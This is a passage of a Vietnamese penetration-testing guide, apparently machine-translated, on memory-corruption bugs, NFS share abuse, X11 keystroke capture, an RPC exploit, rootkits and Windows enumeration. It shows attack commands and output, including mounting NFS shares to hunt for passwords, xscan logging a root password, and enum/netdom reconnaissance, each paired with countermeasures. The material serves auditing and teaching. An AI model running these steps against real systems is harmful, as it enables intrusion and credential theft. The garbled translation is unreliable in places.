đống được đặt tại địa chỉ bộ nhớ cao hơn so với biến cũ. Trong một cuộc tấn công tràn bộ
đệm đơn giản dựa trên đống , một kể tấn công tràn bộ đệm thì thấp hơn đống, ghi đè lên
các biến động khác …hệ thống hệ điều hành khác nhau sử dụng các triển khai malloc

khác nhau, ví dụ: Linux sử dụng thành phần malloc nơi như cửa sổ sử dụng RTL đống.
Một số ứng dụng yêu cầu một khối bộ nhớ sử dụng giao diện malloc, sau đó xảy ra lỗ
hổng tràn bộ đệm. Bằng cách này, dữ liệu có thể được thay đổi. Có thể các cơ cấu quản lý
malloc có thể bị tổn hại, khai thác tràn malloc cấp phát bộ đệm là thay đổi quản lý thông
tin một cách mà sẽ cho phép bộ nhớ tùy ý ghi đè sau đó. Theo cách này con trỏ có thể
được ghi đè trong quá trình bộ nhớ có khả năng ghi, do đó cho phép sửa đổi, bổ sung địa
chỉ lại, các bảng liên kết hoặc mức độ ứng dụng dữ liệu.
1.6.6. Tràn số nguyên
Tràn số nguyên không giống như các lớp lỗi phổ biến. Chúng không cho phép trực tiếp
ghi đè lên bộ nhớ hoặc trực tiếp thực hiện kiểm soát chuỗi, nhưng tinh tế hơn nhiều. Gốc
rễ của vấn đề nằm trong thực tế là không có cách nào cho một quá trình để kiểm tra kết
quả của một tính toán sau khi nó đã xảy ra, vì vậy có thể có sự khác nhau giữa các kết
quả lưu trữ và kết quả chính xác.
Kẻ tấn công tràn số nguyên tràn bộ đệm bằng cách kích hoạt một số các vấn đề liên quan
đến số nguyên, hầu hết số lần đếm vòng lặp. Sử dụng đầu vào khi vòng lặp ràng buộc; do
đó một bộ đệm là tràn trên lặp đi lặp lại. Trong vòng lặp dẫn đến tràn, tràn số nguyên
cũng xảy ra trong khi phân bố dữ liệu bằng cách sử dụng một số hình thức của các số
nguyên số học trong khi cấp phát bộ nhớ động như malloc và alloc.
1.6.7. Kiểm tra tấn công kiểu dữ liệu
Trong ngôn ngữ C và C++ có thể khai báo các chức năng có một biến số. Cách nhiều đối
số thực sự là một vài ví dụ về các chức năng này là printf()(, sprint(), wsprintf(), tham số
đầu tiên được gọi là chuỗi định dạng dữ liệu là những kiểu dữ liệu khác nhau. Chuỗi định
dạng cho phép bạn thao tác ngăn xếp bằng cách sử dụng định dạng dữ liệu khác nhau
trong ngôn ngữ c/c++, định dạng chuỗi tấn công chủ yếu là do lỗi lập trình gây ra.
Những kẻ tấn công có thể thao tác ngăn xếp và kết quả khai thác các chương trình khi
gặp lỗi như vậy được thực hiện, tấn công có thể được khai thác nếu có thể kiểm tra bộ
đệm chuyển đổi định dạng lỗi.
1.6.8. Phân tích lỗi cú pháp
Lỗi phân tích cú pháp chủ yếu gây ra do thiểu sự tỉnh táo kiểm tra đầu vào thông qua bộ
đệm, hầu hết thời gian chương trình chấp nhận bộ đệm và sau đó phân tích cú pháp bộ

đệm và chuyển nó vào chương trình, khi bộ đệm là người sử dụng kiểm soát nó và thông
qua thói quen phân tích những kẻ tấn công có thể là thủ công để khai thác phân tích chức
năng và tràn bộ đệm của chương tình mục tiêu.
1.6.9. Tấn công chia sẻ NFS
Showmount –e
+ Xác định lệnh cài đặt nfs
+ cd/etc và passwd
+ Thay đổi giá trị UID/GID cho người sử dụng đặc quyền khác UID 2, GID 2
+ Thực hiện nfs client
+ Lỗ hổng nfs
3.Phân đoạn thông thường
4. Tiện người sử dụng có thể dùng thủ công BO bằng cách sử dụng các chương trình
gốc SUID.
1.6.10. Kiểm tra chia sẻ NFS
Mô tả
Đưa ra cấu hình của /etc/exports
Mục tiêu
Gắn kết hệ thống tập tin từ xa, tải về tất cả các tệp tin có liên quan, sửa đổi cấu hình
hệ thống.
Kết quả dự kiến
Shell truy cập vào hệ thống
Điều kiện tiên quyết
NFS chia sẻ được kích hoạt
Chấp nhận dịch vụ được đưa ra
Quy trình
1.liệt kê các chia sẻ mục tiêu
2. Gắn kết chia sẻ
3. Ăn cắp thông tin
Ví dụ / kết quả
#mount -t nfs target:/share /mnt

Phân tích/ kết luận/ quan sát
Kẻ tấn công tìm kiếm các mật khẩu từ trong phần gắn kết chia sẻ. Các lệnh trên sẽ in
ra các dong chứa “mật khẩu”, từ tất cả các tệp tin trong phần chia sẻ /share.
Biện pháp đối phó
Hãy chắc chắn răng mỗi thư mục có quyền đọc , ghi, thực hiện.
1.6.11. X-Insecurities
Mô tả
Hệ thống cửa sổ cung cấp các tính năng cho phép nhiều chương trình chia sẻ một màn
hình hiển thị đồ họa duy nhất. Các vấn đề lớn với X là mô hình bảo mật. Một khi
khách hàng được cấp quyền truy caaoh vào một máy chủ X, có thể xảy ra. X khách
hàng có thể nắm bắt tổ hợp phím của người sử dụng giao diện điều khiên, chụp màn
hình để hiển thị nơi khác. Hầu hết các vấn đề gốc từ một mô hỉnh kiểm soát truy cập
yếu hoặc không không đảm bảo một phần của quản trị viên hệ thống. Hình thức đơn
giản và phổ biến nhất kiểm soát truy cập X là xác thực X-hosy. Cơ chế này cung cấp
kiểm soát truy cập theo địa chỉ IP và là hình thức yếu nhất của xác thực X.
Ví dụ / kết quả
[localhost]$ xscan target_machine
Scanning hostname quake
Connecting to quake (target_machine) on port 6000
Connected.
Host quake is running X.
Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0

Now any keystrokes typed at the console will be captured to the KEYLOG.quake file.
[localhost]$ tail -f KEYLOG.quake:0.0
su -
[Shift_L]Iamowned[Shift_R]!
Tail nhanh chóng các tập tin đăng nhập cho thấy những gì người dùng gõ trong thời gian
thực. Trong ví dụ của chúng ta, người sử dụng sử dụng lệnh su tiếp theo là mật khẩu gốc.
Xscan thậm chí sẽ lưu ý nếu các phím SHIFT được ấn. Nó cũng dễ dàng cho kẻ tấn công

xem màn hình cụ thể.
1.6.12. Tấn công RPC
Mô tả
Các cuộc gọi thủ tục từ xa (RPCs) cho phép một quản trị viên thực hiện lệnh trên máy
tính nối mạng để làm cho quy mô quản lý lơn và hiệu quả hơn. Bởi vì chúng được sử
dụng để chạy các lệnh quản trị, các dịch vụ RPC thường chạy với các đặc quyền cao nhất
trên hệ thống. Lịch sử lâu dàu một cách dễ dàng khai thác lỗ hổng, các dịch vụ RPC là
một mối đe dọa đối với bất kỳ tổ chức nào.
Ví dụ / kết quả
[localhost]# cmsd.sh quake 192.168.1.xxx 2 192.168.1.xxx
Executing exploit
rtable_create worked
clnt_call[rtable_insert]: RPC: Unable to receive; errno = Connection reset by peer
Biện pháp đối phó
Biện pháp bảo vệ tốt nhất chống lại các cuộc tấn công từ xa RPC là để vô hiệu hóa bất kỳ
dịch vụ RPC đó là không hoàn toàn cần thiết. Nếu một dịch vụ RPC là rất quan trọng đến
hoạt đọng của máy chủ, xem xét việc thực hiện các thiết bị kiểm soát truy cập cái mà chỉ
cho phép các hệ thống được ủy quyền liên hệ với các cổng RPC, mà có thể rất khó khăn
tùy thuộc vào môi trường. Xem xét việc cho phép một ngăn xếp nếu được hỗ trợ bởi hệ
thống hệ điều hành. Ngoài ra, hãy xem xét sử dụng RPC an toàn nếu được hỗ trợ bởi
phiên bản UNIX. An toàn RPC cung cấp mức độ xác thực sau khi mật mã public-key. An
toàn RPC không phải là thuốc chữa bách bệnh vì nhiều nhà cung cấp UNIX đã không
được thông qua giao thức này. Như vậy, khả năng tương tác là một vấn đề lớn. Cuối cùng
đảm bảo rằng tất cả các nhà cung cấp các bản vá lỗi mới nhất được áp dụng.
1.6.13. Tấn công lời gọi hệ thống
Sự khác biệt giữa một rootkit bình thường và một Rootkit LKM là rất đơn giản:
Rootkit bình thường thay thế các tiện ích hệ thống cho phép kẻ tấn công để ẩn các tập tin, quy
trình và các kết nối mạng. Một Rootkit LKM, mặt khác, một cái gì đó nhiều hơn một chút thú vị:
nó thay thế vị trí của cuộc gọi hệ thống, thay đổi tổ chức địa chỉ bộ nhớ cho một vài thứ khác, và
các vị trí khác nhau là một phiên bản trojanized của cuộc gọi hệ thống. Vì vậy, chúng không cần

phải sửa đổi các tiện ích(hoặc thư viện), chỉ đơn giản là thay thế những tiện ích và các thư viện
sử dụng những gì! Sắp xếp rootkit theo tên của Rkit và LKM.
Dưới đây là danh sách các cuộc gọi hệ thống thường thay đổi: sys_clone, sys_close, sys_execve,
sys_fork, sys_ioctl, sys_kill, sys_mkdir, sys_read, sys_readdir, sys_write.
Cách duy nhất một LKM rootkit có thể được phát hiện bằng cách phân tích nhân bộ nhớ trực
tiếp. Một trong những cách để làm điều này là để so sánh các địa chỉ lời gọi hệ thống. Nhiệm vụ
này có thể được thự hiện dễ dàng bằng cách sử dụng các công cụ như kstat, đọc nhân bộ nhớ
thông qua /dev/kmem. Kstat cung cấp thông tin về tiến trình đang chạy thông qua chuyển đổi ‘-
P’, trong đó bao gồm các quá trình ẩn. So sánh đầu ra với “ps aef”. Bạn có thể truy vấn một quá
trình id cụ thể với tham số ‘-p’. Để phân tích địa chỉ lời gọi hệ thống bạn nên xác định “-s”
chuyển đổi. Sauk hi cài đặt hệ thống ban đầu và cấu hình đầy đủ, ghi “kstat-s” đầu ra. Địa chỉ bộ
nhớ sẽ cung cấp các giá trị chính xác bạn có thể so sánh thời gian. Với các cảnh báo cho thấy khả
năng hệ thống được thỏa hiệp. Kstat cúng có thể thực hiện như một thay thế cho lsmod với
chuyển đổi ‘M’. Bạn có thể đọc cac nhân module Trojan trên danh sách.
Để biết thêm về rootkit, hay kiểm tra các trang web dưới đây:
www.chkrootkit.org/
/>1.6.14. Race điều kiện
Một race điều kiện là một tình huống không mong muốn xảy ra khi một thiết bị hoặc hệ thống nỗ
lực để thực hiện hai hoặc nhiều hoạt động tại cùng một thời điểm, các hoạt động phải được thực
hiện theo trình tự thích hợp để có thể được thực hiện một cách chính xác. Điều kiện có thể phát
sinh trong các chủ đề, các tập tin bất kỳ được truy cập bằng nhiều hoạt động.
Ví dụ:
Một race điều kiện đa luông trong việc xử lý các yêu cầu RPC. Do một lỗ hổng trong phần mền
này, hai chủ đề riêng biệt có thể xử lý các yêu cầu RPC đến. Một trong những chủ đề có thể giải
phóng bộ nhớ được phân bổ để giữ các gói tin đi vào trước khi các chủ đề khác được xử lý xong
các gói tin. Như một kết quả, Lỗi bộ nhớ có thể xảy ra.
1.6.15. Tấn công Key Logger
Mô tả
Đây là kiểu tấn công sử dụng các chương trình theo dõi, ghi lại các hoạt động thông qua quá
trình thao tác trên bàn phím.

Mục đích kiểm tra
Xác nhận hệ thống có bị nhiễm các chương trình Key logger hay không?
Quy trình kiểm tra
Sử dụng các tiện ích theo dõi hệ thống để phát hiện các tiến trình, chương trình lạ đang thực thi
trong hệ thống.
Công cụ kiểm tra
+ Keylogger Killer
+ Spyblaster
+ Spybot S&D
1.6.16. Đánh giá an toàn vật lý
Mô tả
Đây là cách thức kiểm tra mức độ an toàn ở mức vật lý của hệ thống.
Mục đích kiểm tra
Nhằm đảm bảo an toàn ở mức vật lý cho hệ thống.
Quy trình kiểm tra
+ Kiểm tra an toàn cho các thiết bị vật lý.
+ Kiêm tra thiết lập mật khẩu cho BIOS.
+ Kiểm tra thiết lập mật khẩu cho trình khởi động (Boot Loader).
2. Đánh giá an toàn hệ thống máy chủ window
2.4. Mô tả
Để hiểu việc thực hiện an toàn, chúng ta sẽ phải hiểu vài thuật ngữ sau:
Điều hành:
Điều hành là một phần của hệ thống thực hiện trong chế độ nhân, và được chia thành ba
cấp độ. Mức thấp nhất được gọi là HAL, cung cấp một bản tóm tắt quan điểm kiến trúc máy tính
cơ bản. Động cơ lớp này làm cho hệ thống di động.
Bảo vệ hệ thống con:
Một hệ thống con được bảo vệ cung cấp một giao diện lập trình ứng dụng (API). Hệ thống con
được bảo vệ đôi khi được gọi là máy chủ, hoặc bảo vệ máy chủ, và được thực hiện trong chế độ
người dùng như các quá trình với một số các đặc quyền. Khi một ứng dụng gọi API, một tin
nhắn được chuyển đến máy chủ thực hiện các các tiện ích API thông qua các thiết bị LPC. Sau

đó, máy chủ trả lời gửi một tin nhắn lại cho người gọi. Hệ thống máy tính (TCB) máy chủ được
bảo vệ máy chủ, thực hiện như một quá trình với bối cảnh an ninh hệ thống, có ngụ ý rằng quá
trình này sở hữu một thẻ truy cập.
Chúng ta sẽ mô tả một vài máy chủ tiêu chuẩn bao gồm: quản lý phiên, WinLogon, Win32, LSA
và SAM.
Quản lý phiên: là máy chủ để bắt đầu trong hệ thống NT. Nó có trách nhiệm tải trình điều khiển
thiết bị hệ điều hành DOS, hệ thống con đăng ký trong Registry và khởi tạo thư viện liên kết
động, sau đó, nó bắt đầu máy chủ WinLogon.
WinLogon: Là quá trình đăng nhập. Nó có trách nhiệm phối hợp và cung cấp giao diện tương tác
đăng nhập/ đăng xuất. Hơn nữa, nó quản lý máy tính để bàn. Winlogon đăng ký chính nó với
Win32, trong quá trình khởi tạo hệ thống là quá trình đăng nhập.
Win32: là hệ thống windows API 32 bít có sẵn các chương trình ứng dụng. Ngoài ra nó cung cấp
giao diện người dùng đồ họa và điều khiển tất cả các đầu vào người sử dụng và đầu ra. Chỉ có
hai đối tượng được xuất ra từ máy chủ này, máy trạm window, tức là người sử dụng đầu vào/đầu
ra hệ thống(chuột, bàn phím và màn hình ), và một đối tượng Desktop.
LSA(local Security Authority): Trách nhiệm chính của nó là trung tâm về an ninh. Nó đóng một
phần quan trong trong quá trình đăng nhập, và sự kiện bảo mật quá trình như duy trì chính sách
bảo mật của hệ thống địa phương. Chính sách bảo mật thực hiện bởi cơ sở dữ liệu chính sách an
ninh địa phương mà giữ thông tin trên lĩnh vực đáng tin cậy, đặc quyền và quyền truy cập cho
người dùng và nhóm người sử dụng, các sự kiện an ninh. Cơ sở dữ liệu này được quản lý bởi
LSA và truy cập thông qua LSA.
SAM(Security Accounts Manager): Chịu trách nhiệm về quản lý thông tin về tài khoản cho
người dùng và nhóm người sử dụng hoặc tại địa phương, miền diện rộng phụ thuộc vào vai trò
của nó. Nó cung cấp hỗ trợ cho gói xác thực. An toàn tài khoản được lưu trữ như sub-object
trong cơ sở dữ liệu bên trong thanh registry. Cơ sở dữ liệu này được truy cập và quản lý bởi
SAM.
2.5. Mục đích
Xem hệ thống windows NT/200 từ mắt kẻ tấn công và sử dụng công cụ của chúng.
2.6. Mục tiêu
+ Hiểu biết về các vấn đề bảo mật windows

+ Tiếp cận có cấu trúc cho sự thâm nhập hệ thống Windows/ kiểm toán
+ Đạt được truy cập và các điều khoản đặc quyề
+ Ngoài ra sự lan rộng các cuộc tấn công hơn nữa.
2.7. Dự kiến kết quả
+ Danh sách các máy chủ trực tiếp
+ Quy trình chạy trên máy
+ Danh sách người dụng/ chia sẻ
+ Phiên bản nhân sử dụng trong hệ thống hệ điều hành và mức độ bản vá
+ Nhà cung cấp hệ thống hệ điều hành
+ Danh sách các lỗ hổng
+ Danh sách các máy bị chiếm quyền
2.8. Thụ động thu thập thông tin
Đặt thông tin thu thập từ các nguồn công khai. Có rất nhiều các trang web mà biên dịch nhiều
thông tin hợp lý, chúng ra hãy xem một số trong số chúng:
2.8.1. Whois
Mô tả
whois là một chương trình mà sẽ cho bạn biết chủ sở hữu của bất kỳ tên miền hoặc địa chỉ IP.
Từng bước thực hiện
Dự đoán tên miền và địa chỉ IP và dải địa chỉ IP
Ví dụ / kết quả


C:\>whois 212.13.208.91
% This is the RIPE Whois secondary server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See

inetnum: 212.13.208.0 - 212.13.211.255

netname: JUMP-BYTEMARK
descr: Bytemark Computer Consulting
country: GB
admin-c: MATB-RIPE
tech-c: MATB-RIPE
status: ASSIGNED PA
mnt-by: JUMP-MNT
mnt-lower: JUMP-MNT
source: RIPE
changed: 20030902
changed: 20040220

route: 212.13.192.0/19
descr: Jump Networks Ltd. /19 PA
origin: AS8943
mnt-by: JUMP-MNT
source: RIPE
changed: 20000925
changed: 20030131

person: Matthew Bloch
address: 28, Montague Street
address: York
address: YO23 1JB
address: ENGLAND
phone: +44 8707 455026
e-mail:
nic-hdl: MATB-RIPE
mnt-by: JUMP-MNT
source: RIPE

changed: 20030112
Công cụ hỗ trợ






command-line Win32 & Linux whois
Đọc thêm
/> />2.8.2. Bộ máy tìm kiếm
Mô tả
Một chỉ số công cụ tìm kiếm rất nhiều các trang mạng và cho phép chức năng tìm kiếm tiên tiến
sẽ giúp trong công việc tìm kiếm của bạn.
Điều kiện tiên quyết
Tên miền mục tiêu. Tất cả các thông tin về mục tiêu, bạn có thể có được
Từng bước thực hiện
Nỗ lực tìm kiếm khác nhau với tất cả các phím phân tích kết quả và thêm tìm kiếm nhiều hơn với
những kết quả này.
Ví dụ/kết quả
/>8&filter=0
/>8&q=&meta=
/>+org&num=50&hl=
es&lr=&ie=UTF-8&as_qdr=all&filter=0
/>8&as_qdr=all&q=%22212.13.208.91%22
Phân tích/kết luân / quan sát
Công cụ này là một trong những công cụ mạnh mẽ nhất để thu thập thông tin, nếu bạn muốn tấn
công một mục tiêu bạn câng phải biết tất cả các thông tin cần thiết từ công cụ này. Giai đoạn này
là rất quan trọng để có được dữ liệu tối đa có thể và bạn có thể dành nhiều thời gian chó nó có
thể là thông tin thu thập được trong giai đoạn này và nó sẽ rất hữu ích trong các cuộc tấn công.

Công cụ hỗ trợ


(very useful for cumulative search)
(useful in visualizing the links )
2.9. Thu thập thông tin chủ động
Thu thập thông tin chủ động chính là quá trình thu thập trực tiếp những thông tin sát với hệ thống
hơn như là địa chỉ IP, domain, Ngoài ra, có thể nhận diện trực tiếp các tài khoản người dùng,
các tài nguyên chia sẻ, các chính sách hệ thống trên hệ thống …
Bạn có thể thu thập thông tin theo các bước sau
a. Danh sách tấn công
+ Xác định người sử dụng
+ Xác định chia sẻ thông tin
+ Xác định chính sách
+ Danh sách đăng ký
+ Danh sách NETBIOS
+ Danh sách tên Netbios
+ Danh sách phiên Netbios
+ Danh sách MIB
+ SNMPwalk
+ SNMPget
b. Xác định các trình duyệt chủ
c. Xác định các tên miền trên mạng
d. Xác định tên miền điều khiển
e. Xác định tên miền máy chủ
f. Xem tên miền thành viên
2.9.1. Xác định người sử dụng
Mô tả
Nếu các máy tính mục tiêu là một danh sách người sử dụng DC sẽ là danh sách người sử dụng
toàn bộ miền, nhưng nếu mục tiêu là một máy độc lập, bạn chỉ có thể có được một danh sách

người sử dụng .
Điều kiện tiên quyết
Cổng 135/TCP tới 139/TCP hoặc 445/TCP được truy cập. Máy đích có dịch vụ máy chủ bắt đầu
làm việc.
Từng bước thực hiện
Chạy enum với các cờ sau
C:>enum –UMNSPGL target_ip
Ví dụ/kết quả
Using enum.exe (
“Example HERE”
Using ADSI, create the script userlist.vbs with the following contents:
sDomain = "YourDomain"
Set oDomain = GetObject("WinNT://" & sDomain)
oDomain.Filter = Array("User")
For Each oADobject In oDomain
WScript.Echo oADobject.Name & vbTab & oADobject.FullName & vbTab &
oADobject.Description & _
vbTab & oADobject.HomeDirDrive & vbTab &
oADobject.HomeDirectory
Next
Phân tích / kết luận / quan sát
Một kẻ tấn công có thể chứa tài khoản máy chủ và có thể sử dụng kỹ thuật tấn công mật khẩu để
dự đoán mật khẩu của tài khoản.
Biện pháp đối phó
Hạn chế truy cập nặc danh để đang ký và truy cập công cộng tới các cổng 135-139 và 445.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous=2
Công cụ hỗ trợ
/>2.9.2. Xác định chia sẻ thông tin
Mô tả
Các thư mục chia sẻ có thể được ẩn(thêm một $ vào cuối của tên chia sẻ) hoặc có thể nhìn thấy

Điều kiện tiên quyết
Cổng 135/TCP và 139/TCP hoặc 445/TCP phải được truy cập tới máy mục tiêu và phải có dịch
vụ máy chủ bắt đầu làm việc
Ví dụ/kết quả
Sử dụng “Netview” để xem các chia sẻ được nhìn thấy
C:\>net view \\workstation
Sử dụng “Enum.exe” để xem chia sẻ nhìn thấy hoặc ẩn.
C:\>enum -S workstation
server: workstation
setting up session success.
enumerating shares (pass 1) got 10 shares, 0 left:
IPC$ print$ EPSONSty Mi música
HP 4050 ADMIN$ C$
Compartido
cleaning up success.
Phân tích/kết luận/quan sát
Kẻ tấn công có thể có được máy chủ chia sẻ thông tin ẩn hoặc hiện
Biện pháp đối phó
Hạn chế truy cập nặc danh để đăng ký truy cập công cộng 135-139 và 445.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous=2
Công cụ hỗ trợ
/>2.9.3. Xác định chính sách
Mô tả
Các chính sách an ninh windows có thẻ thu được.
Điều kiện tiên quyết
Cổng 135/TCP và 139/TCP hoặc 445/TCP phải được truy cập tới máy mục tiêu và phải có dịch
vụ máy chủ bắt đầu làm việc.
Ví dụ / kết quả
C:\>enum -P pc-oscar
server: pc-oscar

setting up session success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up success.
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể có được các chính sách mật khẩu máy chủ.
Biện pháp đối phó
Hạn chế truy cập nặc danh để đăng ký truy cập công cộng 135-139 và 445.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous=2
2.9.4. Danh sách MIB
Mô tả
Có thể liệt kê hệ thống MIB sử dụng giao thức SNMP, cung cấp cho bạn một số thông tin như
tên người dùng, dịch vụ đang chạy hay các cổng đang mở. Hầu hết sử dụng việc truy cập MIBs
là “public” và “private”.
Điều kiện tiên quyết
Cổng 161/udp có thể được truy cập máy mục tiêu đã có dịch vụ SNMP bắt đầu và đang làm việc.
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể thu thập thông tin hữu ích từ máy chủ.
Biện pháp đối phó
Hạn chế truy cập đến cổng 161 UDP. Thực thi các chính sách mật khẩu SNMP.
2.9.5. Xác định tên miền trên mạng
Mô tả
Có thể có nhiều hơn một miền, có thể đạt được trên cùng một mạng vì có mối quan hệ tin cậy
giữa hai hoạc nhiều lĩnh vực trong cùng một bộ điều khiển tên miền.
Điều kiện tiên quyết

Cổng 135/TCP và 139/TCP hoặc 445/TCP có thể được truy cập máy mụch tiêu và có dịch vụ
trình duyệt bắt đầu và đang làm việc.
Từng bước thực hiện
Truy vấn NetBios được biết như tên miền đầu tiên sử dụng netdom.exe(từ công cụ hỗ trợ) vào
danh sách bất cứ điều gì bạn muốn.
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể có được mối quan hệ miền tin cậy và có thể sử dụng tất cả miền tin cậy cho
dữ liệu hợp lý hơn.
2.9.6. Xác định miền điều khiển
Mô tả
Bạn có thể xem tất cả bộ điều khiển quản lý tên miền, có thể được bảo vệ với nỗ lực khác nhau.
Điều kiện tiên quyết
Cổng 135/TCP và 139/TCP hoặc 445/TCP có thể được truy cập.
Từng bước thực hiện
Truy vấn NetBios để biết tên miền đầu tiên sử dụng netdom.exe (từ công cụ hỗ trợ) vào danh
sách bất cứ điều gì bạn muốn.
Ví dụ / kết quả
Sử dụng netdom.exe
netdom query /domain:domain dc
netdom query /domain:domain pdc
netdom query /domain:domain fsmo
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể có được tất cả bộ điều khiển tên miền có thể sử dụng nó để có được dữ liệu
hợp lý hơn.
Biện pháp đối phó
Hạn chế truy cập tới cổng công cộng 135-139 và 445.
2.9.7. Xác đinh tên miền của máy chủ
Mô tả
Bạn có thể xem danh sách các máy trạm hoặc hoặc các máy chủ của dải tên miền.
Điều kiện tiên quyết

Các cổng 135/TCP và 139/TCP hoặc 445/TCP có thể có được
Từng bước thực hiện
Truy vấn NetBios để biết tên miền đầu tiên sử dụng netdom.exe(từ công cụ hỗ trợ) đưa vào danh
sách bạn muốn.
Ví dụ/ kết quả
Sử dụng netdom.exe
netdom query /domain:domain workstation
netdom query /domain:domain server
netdom query /domain:domain ou
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể có được tất cả các bộ điều khiển tên miền, có thể sử dụng dữ liệu hợp lý hơn.
Biện pháp đối phó
Hạn chế truy cập cổng 135-139 và 445
2.10. Sơ đồ mạng
2.10.1. Xác định máy chủ trực tiếp
Mô tả
Bạn có thể xác định máy chủ trực tiếp trên mạng. Mỗi máy chủ trực tiếp có thể trở thành mục
tiêu tiềm năng
Từng bước thực hiện
Ping quét toàn bộ gói tin
Ví dụ/ kết quả
Sử dụng pingger
Sử dụng tiện ích SolarWinds Pingsweep
Sử dụng Nmap
Phân tích/ kết luận/ quan sát
Kẻ tấn công liệt kê các máy chủ trực tiếp trong mạng.
2.11. Liệt kê tấn công
2.11.1. Duyệt danh sách
+ Xác định trình duyệt chủ
+ Xác định tên miền trên mạng

+ Xác định miền điều khiển
+ Xác định miền máy chủ
+ Xem tên miền thành viên
2.11.2. Xác định trình duyệt máy chủ
Ví dụ/ kết quả
C:\>nbtstat -A 192.168.0.10
Local Area Connection:
Node IpAddress: [192.168.0.10] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status

MITHU <00> UNIQUE Registered
MITHU <20> UNIQUE Registered
MITHU <03> UNIQUE Registered
WORKGROUP <00> GROUP Registered
WORKGROUP <1E> GROUP Registered
BALWANT <03> UNIQUE Registered
MAC Address = 00-0B-2B-0E-2B-AF
2.11.3. Xác định tên miền trên mạng
Mô tả

×